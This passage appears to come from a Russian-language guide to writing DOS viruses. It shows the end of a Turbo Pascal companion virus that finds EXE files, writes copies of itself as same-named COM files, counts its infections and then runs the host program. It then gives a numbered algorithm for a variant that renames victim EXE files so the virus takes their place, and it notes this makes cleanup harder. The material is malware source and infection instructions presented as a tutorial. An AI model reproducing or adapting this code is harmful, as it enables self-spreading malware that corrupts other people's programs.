копируем вирусный код в COM−файл}
SwapVectors;
Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’
’+TargetCOM+’ >NUL’);
SwapVectors;
{Увеличиваем на единицу счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
begin {начало процедуры FindTarget}
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
Parms:=’ ’;
{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For I:=1 To ParamCount Do
Parms:=Parms+’ ’+ParamStr(I);
{Ищем жертвы и заражаем их}
FindTarget;
TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))−4)+’.EXE’;
{Ищем файл с именем стартового файла, но с расширением EXE}
FindFirst(TargetFile, AnyFile, DirInfo);
{Если такой файл найден, запускаем его на выполнение}
If DosError=0 Then
begin
SwapVectors;
Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);
SwapVectors;
end Else
{Если файл не найден, выходим,
не внося в программу изменений}
begin
WriteLn(#13#10, VirName, ’ by ’,Author);
WriteLn(’Какое−нибудь сообщение’);
end;
end.
Инфицирование методом переименования EXE-файла
Отличий в алгоритмах работы этих вирусов и их «коллег», создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее – для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти EXE-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – программный оверлей).
4. Если такой файл присутствует, программа уже инфицирована – переходим к пункту 7.
5. Переименовать найденный файл-жертву (EXE) в файл с таким же именем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфицированной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.